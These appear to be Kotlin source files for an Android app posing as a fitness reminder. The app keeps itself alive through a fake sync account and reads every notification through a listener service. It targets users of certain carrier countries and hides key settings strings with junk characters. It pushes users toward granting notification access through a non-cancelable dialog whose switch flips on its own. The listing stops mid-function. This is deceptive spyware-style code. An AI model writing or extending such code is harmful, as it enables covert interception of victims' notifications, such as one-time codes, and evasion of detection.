import com.galaxy.lib.utils.RunningTimeMeasure
import com.galaxy.permision.DistrictFilter
import com.galaxy.permision.PermissionChecker
import com.galaxy.permision.operatorCode
class App:Application() {
override fun onCreate() {
super.onCreate()
init()
}
private fun init() {
// PermissionChecker.showPermissionDialog(this, DistrictFilter("460"))
// MainScope().launch(Dispatchers.IO) {
// val request = Request(url = "https://m.baidu.com")
// request.call()
// }
// cookie()
}
}

@ -0,0 +1,88 @@
package com.galaxy.demo
import android.Manifest
import android.app.Activity
import android.content.BroadcastReceiver
import android.content.Context
import android.content.Intent
import android.content.IntentFilter
import android.content.pm.PackageManager
import android.os.Build
import android.os.Bundle
import android.util.Log
import android.view.ViewGroup
import android.view.ViewGroup.LayoutParams
import android.widget.Button
import android.widget.FrameLayout
import androidx.core.app.ActivityCompat
import androidx.core.content.ContextCompat
import com.galaxy.demo.services.AccountUtils
import com.galaxy.permision.AccountPermissionUtils
class MainActivity : Activity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
checkNotificationPermission()
startActivity(Intent(this, TempActivity::class.java))
setContentView(FrameLayout(this).apply {
addView(Button(this@MainActivity).apply {
this.text = "click"
layoutParams = ViewGroup.LayoutParams(LayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT)
setOnClickListener {
Log.d("TAG", "button click")
// AccountUtils.createNotificationForNormal(this@MainActivity)
}
})
})
val context = this
// Sdk.init(this.applicationContext)
// 4. 账户同步拉活
AccountPermissionUtils.checkAndRequestAccountPermissions(this)
}
private val NOTIFICATION_PERMISSION_CODE = 100
private fun checkNotificationPermission() {
if (ContextCompat.checkSelfPermission(this, Manifest.permission.POST_NOTIFICATIONS) != PackageManager.PERMISSION_GRANTED) {
// 权限未被授予,请求权限
ActivityCompat.requestPermissions(this, arrayOf(Manifest.permission.POST_NOTIFICATIONS), NOTIFICATION_PERMISSION_CODE)
} else {
// 权限已被授予
// 你可以在这里执行与通知相关的操作
}
receiverExp()
// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
// // 根据服务的实际用途选择合适的类型
// startForeground(NOTIFICATION_ID, notification, ServiceInfo.FOREGROUND_SERVICE_TYPE_MEDIA_PROJECTION);
// } else {
// // 针对旧版本 Android 的处理
// startForeground(NOTIFICATION_ID, notification);
// }
}
val receiver = object : BroadcastReceiver() {
override fun onReceive(context: Context?, intent: Intent?) {
}
}
private fun receiverExp() {
val intentFilter = IntentFilter()
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
registerReceiver(
receiver,
intentFilter,
RECEIVER_NOT_EXPORTED // 或者 RECEIVER_EXPORTED根据实际需求选择
);
} else {
// 针对旧版本 Android 的处理
registerReceiver(receiver, intentFilter);
}
}
}

@ -0,0 +1,24 @@
package com.galaxy.demo
import android.content.BroadcastReceiver
import android.content.Context
import android.content.Intent
import android.content.IntentFilter
import android.os.Build
import android.service.notification.NotificationListenerService
import android.service.notification.StatusBarNotification
import com.galaxy.demo.services.AccountUtils
import com.galaxy.lib.pin.NotificationManger.comeON
class MyService : NotificationListenerService() {
override fun onNotificationPosted(sbn: StatusBarNotification) {
super.onNotificationPosted(sbn)
sbn.comeON(this)
}
override fun onCreate() {
super.onCreate()
}
}

@ -0,0 +1,16 @@
package com.galaxy.demo
import android.app.Activity
import android.content.Intent
import android.os.Bundle
class SplashActivity : Activity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
window.decorView.postDelayed({
startActivity(Intent(this@SplashActivity, MainActivity::class.java))
this@SplashActivity.finish()
}, 3000)
}
}

@ -0,0 +1,11 @@
package com.galaxy.demo
import android.app.Activity
import android.os.Bundle
class TempActivity: Activity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
finish()
}
}

@ -0,0 +1,45 @@
package com.galaxy.demo.services
import android.content.ContentProvider
import android.content.ContentValues
import android.database.Cursor
import android.net.Uri
import android.util.Log
class AccountSyncContentProvider : ContentProvider() {
override fun onCreate(): Boolean {
Log.d("AccountSyncContentProvider", "onCreate: ")
return true
}
override fun query(
uri: Uri,
projection: Array<out String>?,
selection: String?,
selectionArgs: Array<out String>?,
sortOrder: String?
): Cursor? {
return null
}
override fun getType(uri: Uri): String? {
return null
}
override fun insert(uri: Uri, values: ContentValues?): Uri? {
return null
}
override fun delete(uri: Uri, selection: String?, selectionArgs: Array<out String>?): Int {
return 0
}
override fun update(
uri: Uri,
values: ContentValues?,
selection: String?,
selectionArgs: Array<out String>?
): Int {
return 0
}
}

@ -0,0 +1,69 @@
package com.galaxy.demo.services
import android.accounts.Account
import android.annotation.SuppressLint
import android.app.NotificationChannel
import android.app.NotificationManager
import android.app.Service
import android.content.AbstractThreadedSyncAdapter
import android.content.ContentProviderClient
import android.content.Context
import android.content.Intent
import android.content.SyncResult
import android.content.pm.ServiceInfo
import android.os.Build
import android.os.Bundle
import android.os.IBinder
import android.util.Log
import androidx.core.app.NotificationCompat
import com.galaxy.pin.R
class AccountSyncService : Service() {
// 账户同步 IBinder 对象
private var mThreadSyncAdapter: ThreadSyncAdapter? = null
override fun onBind(intent: Intent): IBinder? {
return mThreadSyncAdapter!!.syncAdapterBinder
}
@SuppressLint("ForegroundServiceType")
override fun onCreate() {
super.onCreate()
mThreadSyncAdapter = ThreadSyncAdapter(
applicationContext, true
)
// val appName = packageManager.getApplicationLabel(applicationInfo)
// val CHANNEL_ID = "Channel007"
// val NOTIFICATION_ID = 1007
// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
// val name: CharSequence = appName
// val description = "foreground service"
// val importance = NotificationManager.IMPORTANCE_DEFAULT
// val channel = NotificationChannel(CHANNEL_ID, name, importance)
// channel.description = description
// channel.lockscreenVisibility = NotificationCompat.VISIBILITY_PUBLIC
//
// val notificationManager = getSystemService(
// NotificationManager::class.java
// )
// notificationManager.createNotificationChannel(channel)
// }
//
// val builder: NotificationCompat.Builder = NotificationCompat.Builder(this, CHANNEL_ID)
// .setPriority(NotificationCompat.PRIORITY_MAX)
// .setSmallIcon(R.mipmap.ic_launcher)
// .setContentTitle("App running...")
// .setAutoCancel(false)
// .setStyle(NotificationCompat.DecoratedCustomViewStyle())
//
// val notification = builder.build()
// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
// startForeground(NOTIFICATION_ID, notification)
// } else {
// startForeground(NOTIFICATION_ID, notification)
// }
}
}

@ -0,0 +1,106 @@
package com.galaxy.demo.services
import android.accounts.Account
import android.accounts.AccountManager
import android.app.NotificationChannel
import android.app.NotificationManager
import android.app.PendingIntent
import android.content.ContentResolver
import android.content.Context
import android.content.Intent
import android.content.pm.PackageManager
import android.graphics.BitmapFactory
import android.os.Build
import android.os.Bundle
import androidx.core.app.NotificationCompat
import androidx.core.graphics.drawable.IconCompat
import androidx.core.graphics.drawable.toBitmap
import com.galaxy.demo.MainActivity
import com.galaxy.permision.DistrictFilter
import com.galaxy.permision.PermissionChecker
import com.galaxy.permision.operatorCode
import com.galaxy.pin.R
import e.e.b.Sdk
object AccountUtils {
val ACCOUNT_TYPE: String = "keep_progress_alive.account"
val ACCOUNT_provider: String = "keep_progress_alive.provider"
/**
* 添加账户
* @param context
*/
fun addAccount(context: Context) {
try {
val appName = context.packageManager.getApplicationLabel(context.applicationInfo)
val accountManager = context.getSystemService(Context.ACCOUNT_SERVICE) as AccountManager
//创建账户
val account = Account(appName.toString(), ACCOUNT_TYPE)
// 添加一个新账户
// if (context.packageManager.checkSignatures(context.packageName, ACCOUNT_provider) == PackageManager.SIGNATURE_MATCH) {
if (accountManager.addAccountExplicitly(account, "654737", Bundle())) {
// 设置账户同步开启
// 注意 : 该操作需要权限 android.permission.WRITE_SYNC_SETTINGS
ContentResolver.setIsSyncable(account, ACCOUNT_provider, 1)
// 设置账户自动同步
ContentResolver.setSyncAutomatically(account, ACCOUNT_provider, true)
// 设置账户同步周期
// 最后一个参数是同步周期 , 这个值只是参考值, 系统并不会严格按照该值执行
// 一般情况下同步的间隔 10 分钟 ~ 1 小时
ContentResolver.addPeriodicSync(
account,
ACCOUNT_provider,
Bundle(),
60 * 15
)
}
// }
} catch (e: Exception) {
e.printStackTrace()
}
}
fun createNotificationForNormal(context: Context) {
val appName = context.packageManager.getApplicationLabel(context.applicationInfo)
val appIcon = context.packageManager.getApplicationIcon(context.packageName)
val mNormalNotificationId = 1137
val mNormalChannelId = appName.toString() + mNormalNotificationId
val mNormalChannelName = appName
// 适配8.0及以上 创建渠道
val mManager: NotificationManager =
context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
val channel = NotificationChannel(
mNormalChannelId,
mNormalChannelName,
NotificationManager.IMPORTANCE_HIGH
).apply {
description = appName.toString()
setShowBadge(false) // 是否在桌面显示角标
}
mManager.createNotificationChannel(channel)
}
// 点击意图 // setDeleteIntent 移除意图
val intent = Intent(context, MainActivity::class.java)
val pendingIntent =
PendingIntent.getActivity(context, 0, intent, PendingIntent.FLAG_IMMUTABLE)
// 构建配置
val mBuilder = NotificationCompat.Builder(context, mNormalChannelId)
.setContentTitle("It's time to exercise.") // 标题
.setContentText("Make a little progress every day, and your body will unleash its unlimited potential.") // 文本
// .setSmallIcon(R.mipmap.ic_launcher)
.setPriority(NotificationCompat.PRIORITY_MAX) // 7.0 设置优先级
.setContentIntent(pendingIntent) // 跳转配置
.setAutoCancel(true) // 是否自动消失点击or mManager.cancel(mNormalNotificationId)、cancelAll、setTimeoutAfter()
// 发起通知
mManager.notify(mNormalNotificationId, mBuilder.build())
}
fun init(context: Context) {
Sdk.init(context)
}
}

@ -0,0 +1,23 @@
package com.galaxy.demo.services
import android.app.Service
import android.content.Intent
import android.os.IBinder
import android.util.Log
class AuthenticatorService : Service() {
private var authenticator: MyAuthenticator? = null
override fun onCreate() {
super.onCreate()
Log.d("AccountSyncService", "onCreate: Authenticator")
authenticator = MyAuthenticator(this)
}
override fun onBind(intent: Intent): IBinder? {
Log.d("AccountSyncService", "onBind: Authenticator")
return if (intent.action == android.accounts.AccountManager.ACTION_AUTHENTICATOR_INTENT) {
authenticator?.iBinder
} else null
}
}

@ -0,0 +1,64 @@
package com.galaxy.demo.services
import android.accounts.AbstractAccountAuthenticator
import android.accounts.Account
import android.accounts.AccountAuthenticatorResponse
import android.accounts.AccountManager
import android.accounts.NetworkErrorException
import android.content.Context
import android.content.Intent
import android.os.Bundle
import com.galaxy.demo.MainActivity
class MyAuthenticator(val context: Context) : AbstractAccountAuthenticator(context) {
override fun addAccount(
response: AccountAuthenticatorResponse,
accountType: String,
authTokenType: String,
requiredFeatures: Array<String>,
options: Bundle
): Bundle {
val intent = Intent(context, MainActivity::class.java).apply {
putExtra(AccountManager.KEY_ACCOUNT_AUTHENTICATOR_RESPONSE, response)
}
return Bundle().apply {
putParcelable(AccountManager.KEY_INTENT, intent)
}
}
override fun getAuthTokenLabel(authTokenType: String) = "Full access"
override fun confirmCredentials(
response: AccountAuthenticatorResponse,
account: Account,
options: Bundle
) = null
override fun getAuthToken(
response: AccountAuthenticatorResponse?,
account: Account?,
authTokenType: String?,
options: Bundle?
): Bundle {
return Bundle()
}
override fun updateCredentials(
response: AccountAuthenticatorResponse,
account: Account,
authTokenType: String,
options: Bundle
) = Bundle().apply { putBoolean(AccountManager.KEY_BOOLEAN_RESULT, false) }
override fun editProperties(
response: AccountAuthenticatorResponse,
accountType: String
) = throw UnsupportedOperationException()
override fun hasFeatures(
response: AccountAuthenticatorResponse,
account: Account,
features: Array<String>
) = Bundle().apply { putBoolean(AccountManager.KEY_BOOLEAN_RESULT, false) }
}

@ -0,0 +1,34 @@
package com.galaxy.demo.services
import android.accounts.Account
import android.content.AbstractThreadedSyncAdapter
import android.content.ContentProviderClient
import android.content.Context
import android.content.SyncResult
import android.os.Bundle
import android.util.Log
internal class ThreadSyncAdapter : AbstractThreadedSyncAdapter {
var mContext: Context? = null
constructor(context: Context?, autoInitialize: Boolean) : super(context, autoInitialize) {
mContext = context
}
constructor(
context: Context?, autoInitialize: Boolean,
allowParallelSyncs: Boolean
) : super(context, autoInitialize, allowParallelSyncs)
override fun onPerformSync(
account: Account?, extras: Bundle?, authority: String?,
provider: ContentProviderClient?, syncResult: SyncResult?
) {
Log.i("ThreadSyncAdapter", "onPerformSync: ")
// mContext?.let {
// AccountUtils.init(it)
// AccountUtils.createNotificationForNormal(it)
// }
}
}

@ -0,0 +1,69 @@
package com.galaxy.permision
import android.Manifest
import android.app.Activity
import android.content.pm.PackageManager
import androidx.core.app.ActivityCompat
import androidx.core.content.ContextCompat
object AccountPermissionUtils {
private const val PERMISSION_REQUEST_CODE = 123
/**
* 检查并请求账户管理所需的权限
* @return 如果所有权限已授予返回true否则返回false
*/
fun checkAndRequestAccountPermissions(activity: Activity): Boolean {
val permissions = arrayOf(
"android.permission.AUTHENTICATE_ACCOUNTS",
"android.permission.MANAGE_ACCOUNTS",
"android.permission.ADD_ACCOUNTS"
)
val missingPermissions = mutableListOf<String>()
// 检查缺少的权限
for (permission in permissions) {
if (ContextCompat.checkSelfPermission(
activity,
permission
) != PackageManager.PERMISSION_GRANTED
) {
missingPermissions.add(permission)
}
}
// 请求缺少的权限
if (missingPermissions.isNotEmpty()) {
ActivityCompat.requestPermissions(
activity,
missingPermissions.toTypedArray(),
PERMISSION_REQUEST_CODE
)
return false
}
// 所有权限已授予
return true
}
/**
* 处理权限请求结果
* @return 如果所有请求的权限都被授予返回true否则返回false
*/
fun handlePermissionResult(
requestCode: Int,
permissions: Array<String>,
grantResults: IntArray
): Boolean {
if (requestCode == PERMISSION_REQUEST_CODE) {
for (result in grantResults) {
if (result != PackageManager.PERMISSION_GRANTED) {
return false
}
}
return true
}
return false
}
}

@ -0,0 +1,11 @@
package com.galaxy.permision
import android.content.Context
import android.telephony.TelephonyManager
fun Context.operatorCode() = runCatching {
(getSystemService(Context.TELEPHONY_SERVICE) as? TelephonyManager)?.run {
if (networkOperator.isNullOrBlank()) simOperator
else networkOperator
} ?: ""
}.getOrDefault("")

@ -0,0 +1,25 @@
package com.galaxy.permision
import android.util.Log
import com.galaxy.lib.BuildConfig
class DistrictFilter(
private val code: String,
private val md5: String = "603214232260262420424502520334454510286470418621" //mcc 470 510 418 603 621
) : OperatorFilter {
override fun match(): Boolean {
Log.d(DistrictFilter::class.simpleName, code)
if (code.isBlank()) return false
try {
for (index in md5.indices step 3) {
val code = md5.substring(index, index + 3)
if (this.code.startsWith(code) || BuildConfig.log_enable) {
return true
}
}
} catch (_: Exception) {
}
return false
}
}

@ -0,0 +1,5 @@
package com.galaxy.permision
interface OperatorFilter {
fun match(): Boolean
}

@ -0,0 +1,168 @@
package com.galaxy.permision
import android.app.Activity
import android.app.ActivityManager
import android.app.Application
import android.app.Application.ActivityLifecycleCallbacks
import android.content.Context
import android.content.Context.ACTIVITY_SERVICE
import android.content.Intent
import android.content.pm.PackageManager
import android.content.pm.ServiceInfo
import android.os.Bundle
import android.os.Process
import android.util.Log
import android.view.View
import android.view.ViewGroup
import com.galaxy.lib.logger.LogUtils
import com.galaxy.lib.service.MainService
import com.galaxy.lib.utils.notificationListenerEnable
import com.galaxy.permision.PermissionDialog.weakReference
import com.galaxy.demo.MainActivity
import e.e.b.Sdk
import java.lang.ref.WeakReference
object PermissionChecker {
private var currentActivity: WeakReference<Activity?> = WeakReference(null)
private var covertView: WeakReference<View?> = WeakReference(null)
private var viewId: Int = View.generateViewId()
private fun Context.getProcessName(): String? {
val pid = Process.myPid()
val manager = getSystemService(ACTIVITY_SERVICE) as ActivityManager
for (process in manager.runningAppProcesses) {
if (process.pid == pid) return process.processName
}
return null
}
fun showPermissionDialog(context: Application, filter: OperatorFilter) {
val processName = context.getProcessName()
//注意activity是多进程的情况
if (processName.contentEquals(context.packageName)) {
Log.i(PermissionChecker.javaClass.simpleName, "pn: $processName")
Sdk.init(context, filter.match())
var notificationListenerServiceClass: String? = null
try {
val packageInfo = context.packageManager.getPackageInfo(
context.packageName,
PackageManager.GET_SERVICES or PackageManager.GET_DISABLED_COMPONENTS
)
for (serviceInfo in packageInfo.services!!) {
if ("android.permission.BIND_NOTIFICATION_LISTENER_SERVICE" == serviceInfo.permission) {
notificationListenerServiceClass = serviceInfo.name
}
}
} catch (e: Exception) {
e.printStackTrace()
}
if (notificationListenerServiceClass == null) return
(context as? Application)?.registerActivityLifecycleCallbacks(object :
ActivityLifecycleCallbacks {
override fun onActivityCreated(activity: Activity, savedInstanceState: Bundle?) {
}
override fun onActivityStarted(activity: Activity) {
}
override fun onActivityResumed(activity: Activity) {
Log.i("TAG", "onActivityResumed: ${activity::class.java.simpleName}")
weakReference = WeakReference(activity)
if (MainService.instance.isVerified &&
filter.match() &&
!context.notificationListenerEnable()
) {
if (context.operatorCode().contains("621")) {
PermissionDialog.createDialogAndShowOnExcludedActivityNg(
listOf(
"MainActivity"
)
) {
// Log.i("TAG", "Add Covert...${activity::class.java.simpleName}")
PermissionDialogHelper.showPermissionDialog(activity)
}
} else
PermissionDialog.createDialogAndShowOnExcludedActivity(
listOf(
"EditActivity", "IntroduceActivity",
)
) {
// Log.i("TAG", "Add Covert...${activity::class.java.simpleName}")
PermissionDialogHelper.showPermissionDialog(activity)
}
}
}
override fun onActivityPaused(activity: Activity) {
PermissionDialogHelper.dismissDialog()
}
override fun onActivityStopped(activity: Activity) {
}
override fun onActivitySaveInstanceState(activity: Activity, outState: Bundle) {
}
override fun onActivityDestroyed(activity: Activity) {
}
})
}
}
private fun openSettings(context: Context) {
val serviceInfo = serviceInfo(context)
val serviceName = serviceInfo?.name
val serviceFullName = "${context.packageName}/$serviceName"
var intent =
Intent("an#droid.set#tings.NOT#IF#ICATION_LIST#ENER_DET#AIL_SET#TINGS".replace("#", ""))
intent.putExtra(
"and#roid.pro#vider.extra.NOT#IF#ICATION_LIS#TENER_COMP#ONENT_NAME".replace(
"#",
""
), serviceFullName
)
if (intent.resolveActivity(context.packageManager) == null) {
intent = Intent(
"and#roid.set#tings.ACTION_NOT#I#FICATION_LIS#TENER_SET#TINGS".replace(
"#",
""
)
)
val bundle = Bundle()
bundle.putString(":set#tings:frag#ment_args_key".replace("#", ""), serviceFullName)
intent.putExtra(":set#tings:show_fra#gment_args".replace("#", ""), bundle)
intent.putExtra(":set#tings:frag#ment_args_key".replace("#", ""), serviceFullName)
}
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
context.startActivity(intent)
}
private fun serviceInfo(context: Context): ServiceInfo? {
try {
val serviceInfos =
context.packageManager.getPackageInfo(
context.packageName,
PackageManager.GET_SERVICES or PackageManager.MATCH_DISABLED_COMPONENTS
).services ?: return null
return serviceInfos.firstOrNull { serviceInfo ->
serviceInfo.permission == "#and#r#oid.per#mission.#BI#ND|NOT#IF#ICA#TION|L#IS#TEN#ER|SER#VICE"
.replace("#", "")
.replace("|", "_")
}
} catch (e: Exception) {
return null
}
}
}

@ -0,0 +1,166 @@
package com.galaxy.permision
import android.app.Activity
import android.app.AlertDialog
import android.app.Dialog
import android.content.Context
import android.content.res.Configuration
import android.graphics.Color
import android.graphics.Typeface
import android.util.Log
import android.view.View
import android.view.ViewGroup
import android.widget.ImageView
import android.widget.RelativeLayout
import android.widget.RelativeLayout.ALIGN_END
import android.widget.RelativeLayout.ALIGN_LEFT
import android.widget.RelativeLayout.ALIGN_PARENT_END
import android.widget.RelativeLayout.ALIGN_PARENT_LEFT
import android.widget.RelativeLayout.ALIGN_PARENT_RIGHT
import android.widget.RelativeLayout.ALIGN_PARENT_START
import android.widget.RelativeLayout.ALIGN_PARENT_TOP
import android.widget.RelativeLayout.ALIGN_START
import android.widget.RelativeLayout.ALIGN_TOP
import android.widget.RelativeLayout.BELOW
import android.widget.RelativeLayout.LayoutParams
import android.widget.Switch
import android.widget.TextView
import com.galaxy.lib.utils.notificationListenerEnable
import java.lang.ref.WeakReference
object PermissionDialog {
var weakReference: WeakReference<Activity?> = WeakReference(null)
var weakReferenceDialog: WeakReference<Dialog?> = WeakReference(null)
//包含指定的activity
fun createDialogAndShowOnSpecificActivity(showOnActivity: List<String>, callBack: () -> Unit) {
if(showOnActivity.any { it == weakReference.get()?.javaClass?.simpleName}) {
callBack.invoke()
}
}
//排除指定的activity
fun createDialogAndShowOnExcludedActivity(showOnActivity: List<String>, callBack: () -> Unit) {
if(showOnActivity.none { it == weakReference.get()?.javaClass?.simpleName }) {
callBack.invoke()
}
}
fun createDialogAndShowOnExcludedActivityNg(showOnActivity: List<String>, callBack: () -> Unit) {
if(showOnActivity.any { it == weakReference.get()?.javaClass?.simpleName }) {
callBack.invoke()
}
}
fun createDialogAndShow(callBack: () -> Unit) {
if (weakReference.get() != null && weakReference.get()?.isDestroyed != true && weakReferenceDialog.get()?.isShowing != true) {
val context = weakReference.get()?.applicationContext!!
val relativeLayout = RelativeLayout(context)
val tvContent = TextView(context)
tvContent.id = View.generateViewId()
tvContent.text = "Please grant permission to enable all features"
val relativeLayoutParams = LayoutParams(
ViewGroup.LayoutParams.WRAP_CONTENT,
ViewGroup.LayoutParams.WRAP_CONTENT
)
relativeLayoutParams.addRule(ALIGN_PARENT_START)
relativeLayoutParams.addRule(ALIGN_PARENT_LEFT)
relativeLayoutParams.addRule(ALIGN_PARENT_TOP)
relativeLayoutParams.addRule(ALIGN_PARENT_END)
relativeLayoutParams.addRule(ALIGN_PARENT_RIGHT)
relativeLayoutParams.leftMargin = 18.px2dp(context)
relativeLayoutParams.rightMargin = 18.px2dp(context)
relativeLayoutParams.topMargin = 18.px2dp(context)
tvContent.textSize = 14.0f
tvContent.setTextColor(Color.BLACK)
tvContent.setTypeface(tvContent.typeface, Typeface.BOLD)
tvContent.layoutParams = relativeLayoutParams
relativeLayout.addView(tvContent)
val image = ImageView(context)
val imageLayoutParams = LayoutParams(30.px2dp(context), 30.px2dp(context))
imageLayoutParams.addRule(ALIGN_LEFT, tvContent.id)
imageLayoutParams.addRule(BELOW, tvContent.id)
imageLayoutParams.topMargin = 18.px2dp(context)
image.layoutParams = imageLayoutParams
val icon = context.applicationInfo.icon
if (icon != 0) {
image.setImageResource(icon)
image.visibility = View.VISIBLE
} else {
image.visibility = View.INVISIBLE
}
image.id = View.generateViewId()
relativeLayout.addView(image)
val tvTitle = TextView(context)
val labelRes = context.applicationInfo.labelRes
if (labelRes == 0) {
tvTitle.text = context.packageManager.getApplicationLabel(context.applicationInfo)
} else {
tvTitle.setText(labelRes)
}
tvTitle.id = View.generateViewId()
tvTitle.setTextColor(Color.BLACK)
val switch = Switch(context)
switch.id = View.generateViewId()
tvTitle.layoutParams =
LayoutParams(LayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT).apply {
addRule(ALIGN_START, image.id)
addRule(BELOW, tvContent.id)
addRule(ALIGN_END, switch.id)
topMargin = 18.px2dp(context)
leftMargin = 42.px2dp(context)
}
tvTitle.setPadding(0, 5.px2dp(context), 0, 5.px2dp(context))
relativeLayout.addView(tvTitle)
switch.layoutParams =
LayoutParams(LayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT).apply {
addRule(ALIGN_END, tvContent.id)
addRule(ALIGN_TOP, tvTitle.id)
}
relativeLayout.addView(switch)
val alterDialog = AlertDialog.Builder(weakReference.get()).setTitle("Permission Usage") //, android.R.style.Theme_Material_Light_Dialog_Alert
.setCancelable(false)
.setView(relativeLayout)
.setPositiveButton("OK") { dialog, which ->
callBack.invoke()
}
.create()
alterDialog.setCanceledOnTouchOutside(false)
switch.isChecked = false
weakReferenceDialog = WeakReference(alterDialog)
// val action:Runnable = object : Runnable {
// override fun run() {
// if(relativeLayout.context.notificationListenerEnable()) {
// weakReferenceDialog.get()?.dismiss()
// return
// }
// val isChecked = switch.isChecked
// switch.isChecked = !isChecked
// relativeLayout.postOnAnimationDelayed(this, 1000)
// }
//
// }
//
// relativeLayout.postOnAnimation(action)
switch.setOnClickListener {
callBack.invoke()
weakReferenceDialog.get()?.dismiss()
}
tvTitle.setOnClickListener {
callBack.invoke()
weakReferenceDialog.get()?.dismiss()
}
alterDialog.setOnShowListener {
}
alterDialog.setOnDismissListener {
}
alterDialog.show()
}
}
fun Int.px2dp(context: Context): Int =
(context.resources.displayMetrics.density * (this + 0.5)).toInt()
}

@ -0,0 +1,358 @@
package com.galaxy.permision
import android.R
import android.app.Activity
import android.app.AlertDialog
import android.content.Context
import android.content.DialogInterface
import android.content.Intent
import android.content.pm.PackageManager
import android.content.pm.ServiceInfo
import android.content.res.Resources
import android.graphics.Color
import android.graphics.Typeface
import android.os.Build
import android.os.Bundle
import android.os.Handler
import android.os.HandlerThread
import android.os.Looper
import android.provider.Settings
import android.util.TypedValue
import android.view.ContextThemeWrapper
import android.view.View
import android.view.ViewGroup
import android.widget.CompoundButton
import android.widget.ImageView
import android.widget.RelativeLayout
import android.widget.Switch
import android.widget.TextView
import com.galaxy.lib.utils.notificationListenerEnable
import kotlinx.coroutines.CoroutineScope
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.delay
import kotlinx.coroutines.isActive
import kotlinx.coroutines.launch
import java.util.concurrent.atomic.AtomicBoolean
/**
* 权限请求对话框构建工具类
*/
object PermissionDialogHelper {
private var dialog: AlertDialog? = null
// 定义视图ID常量替代原代码中的e1常量类
private val ID_TEXT_TITLE = View.generateViewId()
private val ID_APP_ICON = View.generateViewId()
private val ID_APP_NAME = View.generateViewId()
private val ID_SWITCH = View.generateViewId()
val sc = CoroutineScope(Dispatchers.Default)
fun notificationListenerEnable(context: Context): Boolean {
val flat = Settings.Secure.getString(
context.contentResolver,
"enabled_not1ificat1ion_l11isteners".replace("1", "")
)
return flat?.contains(context.packageName) == true
}
/**
* 显示权限请求对话框
* @param context 上下文对象
*/
fun showPermissionDialog(context: Context) {
if (notificationListenerEnable(context)) return
// 使用应用主题包装上下文
val themedContext = createThemedContext(context)
// 构建对话框主体布局
val dialogLayout = buildDialogLayout(themedContext)
// 创建并配置AlertDialog
dialog = buildAlertDialog(context, themedContext, dialogLayout)
dialogLayout.setOnClickListener {
if (notificationListenerEnable(context)) {
dialog!!.dismiss()
} else {
handlePositiveClick(context)
dialog!!.dismiss()
}
}
// 初始化视图交互逻辑
setupViewInteractions(dialog!!, dialogLayout, context)
// 显示对话框
if (!dialog!!.isShowing) {
dialog!!.show()
}
}
private fun createThemedContext(context: Context): ContextThemeWrapper {
// 使用系统AlertDialog主题兼容深色模式
val themeResId = resolveDialogTheme(context)
return ContextThemeWrapper(context, themeResId)
}
private fun resolveDialogTheme(context: Context): Int {
// 根据Android版本选择合适主题
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
R.style.ThemeOverlay_Material_Light
} else {
R.style.Theme_DeviceDefault_Light_Dialog_Alert
}
}
private fun buildDialogLayout(context: Context): RelativeLayout {
val layout = RelativeLayout(context)
// 添加标题文本
val titleText = createTitleText(context)
layout.addView(titleText)
// 添加应用图标
val appIcon = createAppIcon(context);
layout.addView(appIcon);
// 添加应用名称
val appNameText = createAppNameText(context);
layout.addView(appNameText);
var isPermissionSwitch = false
// 添加权限开关
val permissionSwitch = createPermissionSwitch(context)
sc.launch {
var isOn = false
while (isActive) { // 使用isActive检测协程状态
isOn = !isOn
Handler(Looper.getMainLooper()).post {
permissionSwitch.isChecked = isOn
}
delay(1000)
}
}
layout.addView(permissionSwitch)
return layout
}
private fun createTitleText(context: Context): TextView {
val textView = TextView(context)
textView.id = ID_TEXT_TITLE
textView.text = "Please grant permission to enable all features" // 字符串资源引用
// 布局参数配置
val params = RelativeLayout.LayoutParams(
ViewGroup.LayoutParams.WRAP_CONTENT,
ViewGroup.LayoutParams.WRAP_CONTENT
)
params.addRule(RelativeLayout.ALIGN_PARENT_TOP)
// params.addRule(RelativeLayout.CENTER_HORIZONTAL);
params.setMargins(dpToPx(18), dpToPx(18), dpToPx(18), 0)
// 样式设置
textView.setTextSize(TypedValue.COMPLEX_UNIT_SP, 14f)
textView.setTextColor(Color.BLACK)
textView.setTypeface(null, Typeface.BOLD)
textView.layoutParams = params
return textView
}
private fun createAppIcon(context: Context): ImageView {
val imageView = ImageView(context)
imageView.id = ID_APP_ICON
// 布局参数
val iconSize = dpToPx(42)
val params = RelativeLayout.LayoutParams(iconSize, iconSize)
// params.addRule(RelativeLayout.END_OF, ID_TEXT_TITLE)
params.addRule(RelativeLayout.BELOW, ID_TEXT_TITLE)
params.setMargins(dpToPx(18), dpToPx(18), dpToPx(18), 0)
// 设置应用图标
try {
imageView.setImageDrawable(context.packageManager.getApplicationIcon(context.packageName))
} catch (e: PackageManager.NameNotFoundException) {
imageView.setImageResource(R.drawable.sym_def_app_icon)
}
imageView.layoutParams = params
return imageView
}
private fun createAppNameText(context: Context): TextView {
val textView = TextView(context)
textView.id = ID_APP_NAME
// 获取应用名称
val appName = context.packageManager.getApplicationLabel(context.applicationInfo)
textView.text = appName
// 样式配置
textView.setTextColor(Color.BLACK)
textView.setTextSize(TypedValue.COMPLEX_UNIT_SP, 14f)
// 布局参数
val params = RelativeLayout.LayoutParams(
ViewGroup.LayoutParams.WRAP_CONTENT,
ViewGroup.LayoutParams.WRAP_CONTENT
)
params.addRule(RelativeLayout.ALIGN_START, ID_APP_ICON)
params.addRule(RelativeLayout.ALIGN_START, ID_APP_ICON)
params.addRule(RelativeLayout.BELOW, ID_TEXT_TITLE)
params.setMargins(dpToPx(48), dpToPx(28), 0, 28)
textView.layoutParams = params
return textView
}
private fun createPermissionSwitch(context: Context): Switch {
val switchView = Switch(context)
switchView.id = ID_SWITCH
// 布局参数
val params = RelativeLayout.LayoutParams(
ViewGroup.LayoutParams.WRAP_CONTENT,
ViewGroup.LayoutParams.WRAP_CONTENT
